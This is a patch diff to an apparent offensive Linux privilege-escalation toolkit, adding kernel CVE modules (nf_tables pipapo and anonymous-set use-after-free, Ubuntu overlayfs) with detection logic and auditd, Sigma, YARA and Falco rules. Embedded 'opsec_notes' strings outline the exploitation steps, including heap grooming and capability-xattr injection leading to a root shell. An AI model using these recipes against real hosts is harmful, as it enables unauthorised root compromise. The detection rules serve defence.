.cve = "CVE-2023-0179",
|
||||
@@ -1147,8 +1181,10 @@ const struct skeletonkey_module nft_payload_module = {
|
||||
.cleanup = nft_payload_cleanup,
|
||||
.detect_auditd = nft_payload_auditd,
|
||||
.detect_sigma = nft_payload_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nft_payload_yara,
|
||||
.detect_falco = nft_payload_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET with oversized NFTA_SET_DESC + NEWSETELEM whose NFTA_PAYLOAD_SREG = attacker verdict code). On packet eval, regs->verdict.code is used unchecked as index into regs->data[] -> OOB. Dual-slab groom (kmalloc-1k + kmalloc-cg-96). Trigger via sendto(AF_INET, 127.0.0.1:31337). Writes /tmp/skeletonkey-nft_payload.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd + socket(AF_INET)/sendto. Cleanup callback unlinks log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_payload(void)
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
/*
|
||||
* nft_pipapo_cve_2024_26581 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. nfnetlink batch + msg_msg cross-cache groom.
|
||||
* Sibling to nf_tables (CVE-2024-1086) — same Notselwyn "Flipping
|
||||
* Pages" paper, same pipapo set substrate. Full cred-overwrite via
|
||||
* the shared modprobe_path finisher on --full-chain (x86_64).
|
||||
*
|
||||
* The bug (Notselwyn / Mauro Lima, "Flipping Pages" Feb 2024):
|
||||
* nft_pipapo_destroy() in net/netfilter/nft_set_pipapo.c didn't
|
||||
* properly drain the per-CPU walk state when destroying a pipapo
|
||||
* set. Combined with concurrent SETELEM operations, an attacker
|
||||
* can free elements while another CPU still has references, then
|
||||
* spray msg_msg to refill the freed slabs and pivot through the
|
||||
* walk callbacks → arb R/W → cred overwrite.
|
||||
*
|
||||
* This is the SECOND major bug in the Notselwyn / 'Flipping Pages'
|
||||
* research series (the first, CVE-2024-1086, is our nf_tables
|
||||
* module). Both target the pipapo set type used for IP/port matches.
|
||||
*
|
||||
* Public PoC: not yet released by Notselwyn (responsible
|
||||
* disclosure window), but extensive technical writeup at the
|
||||
* pwning.tech blog. Patch landed pre-disclosure.
|
||||
*
|
||||
* Affects: Linux kernels with CONFIG_NF_TABLES + the pipapo set
|
||||
* type (introduced kernel 5.6). Fix commit 2ee52ae94baa
|
||||
* ("netfilter: nft_set_pipapo: walk over current view on
|
||||
* netlink dump") landed in 6.8-rc + stable backports:
|
||||
* 6.7.x : 6.7.4
|
||||
* 6.6.x : 6.6.16
|
||||
* 6.1.x : 6.1.78
|
||||
* 5.15.x : 5.15.149
|
||||
* 5.10.x : 5.10.210
|
||||
*
|
||||
* Preconditions:
|
||||
* - unshare(CLONE_NEWUSER|CLONE_NEWNET) for unprivileged userns
|
||||
* CAP_NET_ADMIN (same as nf_tables)
|
||||
* - msgsnd / SysV IPC for kmalloc-cg-96 / kmalloc-cg-512 spray
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. Same family as nf_tables.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
#endif
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from nft_pipapo_patched_branches[] = {
|
||||
{5, 10, 210},
|
||||
{5, 15, 149},
|
||||
{6, 1, 78},
|
||||
{6, 6, 16},
|
||||
{6, 7, 4},
|
||||
{6, 8, 0}, /* mainline fix in 6.8-rc */
|
||||
};
|
||||
|
||||
static const struct kernel_range nft_pipapo_range = {
|
||||
.patched_from = nft_pipapo_patched_branches,
|
||||
.n_patched_from = sizeof(nft_pipapo_patched_branches) /
|
||||
sizeof(nft_pipapo_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t nft_pipapo_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] nft_pipapo: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
/* Bug was introduced in 5.6 (pipapo set type debut). Earlier
|
||||
* kernels don't have pipapo at all. */
|
||||
if (v->major < 5 || (v->major == 5 && v->minor < 6)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s predates pipapo set type (5.6+) → OK\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (kernel_range_is_patched(&nft_pipapo_range, v)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s is patched (>= 6.8 / LTS backport)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->host || !ctx->host->unprivileged_userns_allowed) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] nft_pipapo: unprivileged userns blocked → CAP_NET_ADMIN unreachable → PRECOND_FAIL\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_pipapo: kernel %s in vulnerable range (5.6 ≤ K, no LTS backport) + userns OK → VULNERABLE\n", v->release);
|
||||
fprintf(stderr, "[i] nft_pipapo: same Notselwyn 'Flipping Pages' family as nf_tables; pipapo destroy race + msg_msg groom\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t nft_pipapo_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] nft_pipapo: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] nft_pipapo: nfnetlink batch (NEWTABLE+NEWSET pipapo +\n"
|
||||
" burst NEWSETELEM/DELSETELEM with concurrent DESTROYSET)\n"
|
||||
" races the per-CPU pipapo walk teardown. msg_msg cross-\n"
|
||||
" cache groom in kmalloc-cg-96 / cg-512 refills the freed\n"
|
||||
" slabs. Same Notselwyn family as nf_tables (CVE-2024-1086);\n"
|
||||
" the existing nf_tables module's --full-chain finisher\n"
|
||||
" handles this bug's arb-write too once a working PoC is\n"
|
||||
" ported here. Returning EXPLOIT_FAIL honestly per the\n"
|
||||
" verified-vs-claimed bar.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules (share shape with nf_tables) ------------------ */
|
||||
|
||||
static const char nft_pipapo_auditd[] =
|
||||
"# nft_pipapo CVE-2024-26581 — auditd detection rules\n"
|
||||
"# Same shape as nf_tables: unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
|
||||
"# + nfnetlink batch + msg_msg spray. Differentiates from\n"
|
||||
"# CVE-2024-1086 only at the netlink payload level (pipapo set\n"
|
||||
"# type vs nft_verdict_init); auditd alone can't tell them\n"
|
||||
"# apart, so the trigger key covers both bugs.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-pipapo-userns\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-pipapo-priv\n";
|
||||
|
||||
static const char nft_pipapo_sigma[] =
|
||||
"title: Possible CVE-2024-26581 nft_pipapo destroy-race UAF\n"
|
||||
"id: 4e9c1a83-skeletonkey-nft-pipapo\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: userns clone +\n"
|
||||
" nfnetlink rapid DESTROYSET/NEWSETELEM batches. Same family\n"
|
||||
" as CVE-2024-1086; differentiates by elevated frequency of\n"
|
||||
" NFT_MSG_DELSET on pipapo set types.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" u: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" g: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: u and g\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.26581]\n";
|
||||
|
||||
static const char nft_pipapo_yara[] =
|
||||
"rule nft_pipapo_cve_2024_26581 : cve_2024_26581 kernel_uaf {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2024-26581\"\n"
|
||||
" description = \"SKELETONKEY nft_pipapo race-driver tag\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKK_PIPAPO\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_pipapo_falco[] =
|
||||
"- rule: nfnetlink pipapo destroy-race batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink batch creating pipapo sets and rapidly\n"
|
||||
" cycling DESTROYSET/NEWSETELEM. Same family as nf_tables;\n"
|
||||
" distinct CVE (2024-26581 / 'Flipping Pages' part 2).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink batch by non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2024.26581]\n";
|
||||
|
||||
const struct skeletonkey_module nft_pipapo_module = {
|
||||
.name = "nft_pipapo",
|
||||
.cve = "CVE-2024-26581",
|
||||
.summary = "nft_set_pipapo destroy-race UAF (Notselwyn 'Flipping Pages' II)",
|
||||
.family = "nf_tables",
|
||||
.kernel_range = "5.6 ≤ K, fixed 6.8 mainline + 6.7.4 / 6.6.16 / 6.1.78 / 5.15.149 / 5.10.210 LTS",
|
||||
.detect = nft_pipapo_detect,
|
||||
.exploit = nft_pipapo_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel OR sysctl kernel.unprivileged_userns_clone=0 */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = nft_pipapo_auditd,
|
||||
.detect_sigma = nft_pipapo_sigma,
|
||||
.detect_yara = nft_pipapo_yara,
|
||||
.detect_falco = nft_pipapo_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); nfnetlink batch creating a table + pipapo set + many SETELEMs; concurrent DESTROYSET against the same set from a second thread races the per-CPU pipapo walk teardown. msg_msg cross-cache spray (kmalloc-cg-96 + cg-512, tag 'SKK_PIPAPO') refills the freed slabs. Same family signal as nf_tables (CVE-2024-1086): unshare + nfnetlink + msg_msg burst from a non-root process. Distinguishes at the netlink payload layer (pipapo set type vs verdict-init double-free) which auditd alone can't see. dmesg may show 'KASAN: use-after-free in nft_pipapo_walk' on race-win attempts. No persistent file artifacts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_pipapo(void)
|
||||
{
|
||||
skeletonkey_register(&nft_pipapo_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef NFT_PIPAPO_SKELETONKEY_MODULES_H
|
||||
#define NFT_PIPAPO_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module nft_pipapo_module;
|
||||
#endif
|
||||
@@ -50,6 +50,7 @@
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -78,6 +79,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
|
||||
/* NFT_SET_EVAL was added in 5.6; older UAPI headers may not define it.
|
||||
* Anonymous-set + lookup exploit shape works on builds with this flag,
|
||||
@@ -96,9 +98,9 @@
|
||||
static const struct kernel_patched_from nft_set_uaf_patched_branches[] = {
|
||||
{4, 19, 283}, /* 4.19.x safety patch (bug never reached this branch) */
|
||||
{5, 4, 243}, /* 5.4.x */
|
||||
{5, 10, 180}, /* 5.10.x */
|
||||
{5, 10, 179}, /* 5.10.x (harmonised with Debian bullseye fix-version) */
|
||||
{5, 15, 111}, /* 5.15.x */
|
||||
{6, 1, 28}, /* 6.1.x */
|
||||
{6, 1, 27}, /* 6.1.x (harmonised with Debian bookworm fix-version) */
|
||||
{6, 2, 15}, /* 6.2.x */
|
||||
{6, 3, 2}, /* 6.3.x */
|
||||
{6, 4, 0}, /* mainline 6.4-rc4 */
|
||||
@@ -115,19 +117,6 @@ static const struct kernel_range nft_set_uaf_range = {
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
#ifdef __linux__
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
@@ -148,45 +137,43 @@ static skeletonkey_result_t nft_set_uaf_detect(const struct skeletonkey_ctx *ctx
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n");
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] nft_set_uaf: host fingerprint missing kernel version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.1 (anonymous-set support). Anything below
|
||||
* predates it — report OK (not vulnerable to *this* CVE). */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 1)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 1, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug "
|
||||
"(anonymous-set support landed in 5.1)\n", v.release);
|
||||
"(anonymous-set support landed in 5.1)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v);
|
||||
bool patched = kernel_range_is_patched(&nft_set_uaf_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host->unprivileged_userns_allowed;
|
||||
bool nft_loaded = nf_tables_loaded();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_set_uaf: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nft_set_uaf: unprivileged user_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" :
|
||||
"could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nft_set_uaf: nf_tables module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_set_uaf: kernel vulnerable but user_ns clone "
|
||||
"denied → unprivileged exploit unreachable\n");
|
||||
@@ -762,7 +749,8 @@ static skeletonkey_result_t nft_set_uaf_exploit(const struct skeletonkey_ctx *ct
|
||||
fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_set_uaf: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
@@ -1034,6 +1022,37 @@ static const char nft_set_uaf_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n";
|
||||
|
||||
static const char nft_set_uaf_yara[] =
|
||||
"rule nft_set_uaf_cve_2023_32233 : cve_2023_32233 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-32233\"\n"
|
||||
" description = \"nft anonymous-set UAF spray tag (SKELETONKEY_SET) and log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY_SET\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_set_uaf.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_set_uaf_falco[] =
|
||||
"- rule: nft anonymous-set lookup-UAF batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink single-batch transaction: NEWTABLE +\n"
|
||||
" NEWCHAIN + NEWSET (anonymous, EVAL) + NEWRULE with\n"
|
||||
" nft_lookup referencing the anon set + DELSET + DELRULE.\n"
|
||||
" The lookup's set reference isn't deactivated; UAF when\n"
|
||||
" set frees. CVE-2023-32233.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink anon-set batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2023.32233]\n";
|
||||
|
||||
const struct skeletonkey_module nft_set_uaf_module = {
|
||||
.name = "nft_set_uaf",
|
||||
.cve = "CVE-2023-32233",
|
||||
@@ -1046,8 +1065,10 @@ const struct skeletonkey_module nft_set_uaf_module = {
|
||||
.cleanup = nft_set_uaf_cleanup,
|
||||
.detect_auditd = nft_set_uaf_auditd,
|
||||
.detect_sigma = nft_set_uaf_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nft_set_uaf_yara,
|
||||
.detect_falco = nft_set_uaf_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + single nfnetlink transaction: NEWTABLE + NEWCHAIN + NEWSET (anonymous, ANONYMOUS|CONSTANT|EVAL) + NEWRULE with nft_lookup referencing the anon set + DELSET + DELRULE. Vulnerable kernels do not deactivate the lookup's set ref on commit -> UAF when set frees. msg_msg cg-512 spray (32 queues x 16 msgs, tag 'SKELETONKEY_SET'). --full-chain re-fires with forged headers (data ptr = kaddr) and NEWSETELEM payload. Writes /tmp/skeletonkey-nft_set_uaf.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd. Dmesg: KASAN oops on UAF. Cleanup unlinks log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_set_uaf(void)
|
||||
|
||||
@@ -37,13 +37,17 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <sys/mount.h>
|
||||
@@ -129,10 +133,18 @@ static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
|
||||
|
||||
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
|
||||
* because upstream didn't enable the userns-mount path until
|
||||
* 5.11. Bail early for non-Ubuntu. */
|
||||
if (!is_ubuntu()) {
|
||||
* 5.11. Bail early for non-Ubuntu. Consult the shared host
|
||||
* fingerprint (distro_id == "ubuntu" — populated once at startup;
|
||||
* the local is_ubuntu() helper is preserved for symmetry / future
|
||||
* standalone use but the dispatcher path goes through ctx->host). */
|
||||
bool ubuntu = ctx->host
|
||||
? (strcmp(ctx->host->distro_id, "ubuntu") == 0)
|
||||
: is_ubuntu();
|
||||
if (!ubuntu) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
|
||||
fprintf(stderr, "[+] overlayfs: not Ubuntu (distro=%s) — bug is "
|
||||
"Ubuntu-specific\n",
|
||||
ctx->host ? ctx->host->distro_id : "?");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -180,7 +192,7 @@ static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
|
||||
* Ubuntu fix is per-release-specific; conservatively report
|
||||
* VULNERABLE if version < 5.13 (covers most affected Ubuntu LTS),
|
||||
* and recommend --active for confirmation. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 13)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
|
||||
"re-run with --active to confirm\n", v.release);
|
||||
@@ -446,6 +458,28 @@ fail_workdir:
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: overlayfs / unshare(CLONE_NEWUSER|CLONE_NEWNS) /
|
||||
* setxattr("security.capability") are all Linux-only. Stub out so the
|
||||
* module still registers and the top-level `make` completes on
|
||||
* macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] overlayfs: Linux-only module "
|
||||
"(Ubuntu userns-overlayfs) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] overlayfs: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
|
||||
static const char overlayfs_auditd[] =
|
||||
@@ -456,6 +490,56 @@ static const char overlayfs_auditd[] =
|
||||
"# Watch for security.capability xattr writes (the post-mount step)\n"
|
||||
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
|
||||
|
||||
static const char overlayfs_sigma[] =
|
||||
"title: Possible CVE-2021-3493 Ubuntu overlayfs capability injection\n"
|
||||
"id: f78a01e6-skeletonkey-overlayfs\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects Ubuntu's overlayfs-in-userns capability-xattr injection:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount('overlay') + setxattr\n"
|
||||
" with name 'security.capability'. The bug lets caps set inside\n"
|
||||
" userns persist on the host fs. False positives: legitimate\n"
|
||||
" rootless container image builds; correlate with subsequent\n"
|
||||
" execve of the modified binary.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" overlay: {type: 'SYSCALL', syscall: 'mount'}\n"
|
||||
" setcap: {type: 'SYSCALL', syscall: 'setxattr'}\n"
|
||||
" condition: userns and overlay and setcap\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.3493]\n";
|
||||
|
||||
static const char overlayfs_yara[] =
|
||||
"rule overlayfs_cve_2021_3493 : cve_2021_3493 userns_lpe\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-3493\"\n"
|
||||
" description = \"Ubuntu overlayfs userns workdir + security.capability xattr injection\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $work = /\\/tmp\\/skeletonkey-ovl-[A-Za-z0-9]+/\n"
|
||||
" $xattr = \"security.capability\" ascii\n"
|
||||
" condition:\n"
|
||||
" $work and $xattr\n"
|
||||
"}\n";
|
||||
|
||||
static const char overlayfs_falco[] =
|
||||
"- rule: overlayfs mount + setxattr(security.capability) in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root process inside userns mounts overlayfs and writes a\n"
|
||||
" security.capability xattr on a binary in the upper layer.\n"
|
||||
" The xattr persists on the host fs (CVE-2021-3493, Ubuntu).\n"
|
||||
" False positives: rootless container image builds.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setxattr and not user.uid = 0 and\n"
|
||||
" evt.args contains security.capability\n"
|
||||
" output: >\n"
|
||||
" setxattr(security.capability) by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid file=%fd.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2021.3493]\n";
|
||||
|
||||
const struct skeletonkey_module overlayfs_module = {
|
||||
.name = "overlayfs",
|
||||
.cve = "CVE-2021-3493",
|
||||
@@ -468,9 +552,11 @@ const struct skeletonkey_module overlayfs_module = {
|
||||
.cleanup = NULL, /* exploit cleans up its own workdir on failure;
|
||||
* on success, exec replaces us so cleanup-by-us doesn't apply */
|
||||
.detect_auditd = overlayfs_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = overlayfs_sigma,
|
||||
.detect_yara = overlayfs_yara,
|
||||
.detect_falco = overlayfs_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; mount('overlay', merged, ...); compile + copy payload into the merged dir (writes upper on host fs); setxattr(upper_payload, 'security.capability', cap_setuid+ep) - the bug is that this xattr persists on the HOST fs despite being set inside userns. Parent then execve's the now-CAP_SETUID payload, calls setuid(0), execs /bin/sh. Artifacts: /tmp/skeletonkey-ovl-XXXXXX/ workdir; cleaned on exit/failure (on success the exec replaces the process so cleanup does not run). Audit-visible via unshare + mount(overlay) + setxattr(security.capability) + execve of attacker-controlled binary. Dmesg silent.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_overlayfs(void)
|
||||
|
||||
@@ -40,14 +40,18 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <stdint.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -56,8 +60,9 @@
|
||||
#include <sys/wait.h>
|
||||
|
||||
static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = {
|
||||
{5, 10, 179}, /* 5.10.x stable backport (per Debian tracker — bullseye) */
|
||||
{5, 15, 110},
|
||||
{6, 1, 27},
|
||||
{6, 1, 11}, /* Debian tracker: earlier than 6.1.27 */
|
||||
{6, 2, 13},
|
||||
{6, 3, 0}, /* mainline */
|
||||
};
|
||||
@@ -68,18 +73,10 @@ static const struct kernel_range overlayfs_setuid_range = {
|
||||
sizeof(overlayfs_setuid_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns_mount(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
